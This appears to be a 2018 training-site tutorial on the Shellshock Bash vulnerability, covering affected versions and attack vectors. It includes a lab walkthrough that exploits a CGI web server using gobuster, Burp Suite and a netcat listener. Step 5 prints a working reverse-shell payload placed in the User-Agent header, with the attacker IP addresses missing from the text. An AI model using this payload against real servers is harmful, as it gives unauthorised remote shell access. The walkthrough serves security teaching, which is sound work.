Ready to Start Your Career?

ShellShock: All You Need to Know About the Bash Bug Vulnerability

Ankit2812 's profile image

By: Ankit2812

March 27, 2018

Shellshock is basically Remote Command Execution vulnerability in BASH also known as Bashdoor.

In this vulnerability, BASH incorrectly executes trailing commands when it imports a function definition stored into an environment variable.

Bash allows exporting shell functions to other bash instances. It is done by creating an environment variable with the function definition.

v  Affected bash versions:

All versions of Bash up to and including version 4.3 are vulnerable.  To be sure, check with your *nix vendor’s website for specific patched versions.

Check Bash version using command: bash --version.

v  Specific exploitation vectors:

1.    CGI-based web server

2.    OpenSSH server

3.    DHCP clients

4.    Qmail server

5.    IBM HMC restricted shell

v  Exploit example

ü  Remote Machine: (CGI based web-server which is vulnerable to shellshock)

Available at:

ü  Local Machine     : (Kali-Linux machine which we use for exploit remote server)

Step 1: Using “gobuster”, identified that web-server uses the Common Gateway Interface (CGI) to handle a document request.

CGI based web-server copies certain information like User-agents from the request into the environment variable list and then delegates the request to a handler program.

Step 2: Using “Burp suite”, capture the request of accessing /cgi-bin/status files and sent it to burp suite’s repeater tab.


Step 3: Now in the repeater tab, sent the request and not down the response of the server.

Step 4: Now using NC command, on our local machine (local machine IP: start listening the port 5454. So if remote machine get exploited successfully it will make connection to port 5454.

Step 5: Now to exploit shellshock vulnerability, we will replace the “User-Agent:” contents with shellshock payload like “() { : ; }; /usr/bin/nc 5454 -e /bin/bash.

On successful exploitation arbitrary OS command nc  5454  of shellshock payload will get executed and create connection to our local machine on port 5454 and will get the shell access to the remote machine.

Step 6: As our payload successfully exploited on remote server we got the connection on out local machine where we are listening on port 5454 from remote machine (IP:

Step 6: Now we will try to get interactive shell on Remote exploited machine and can enumerate further.

Schedule Demo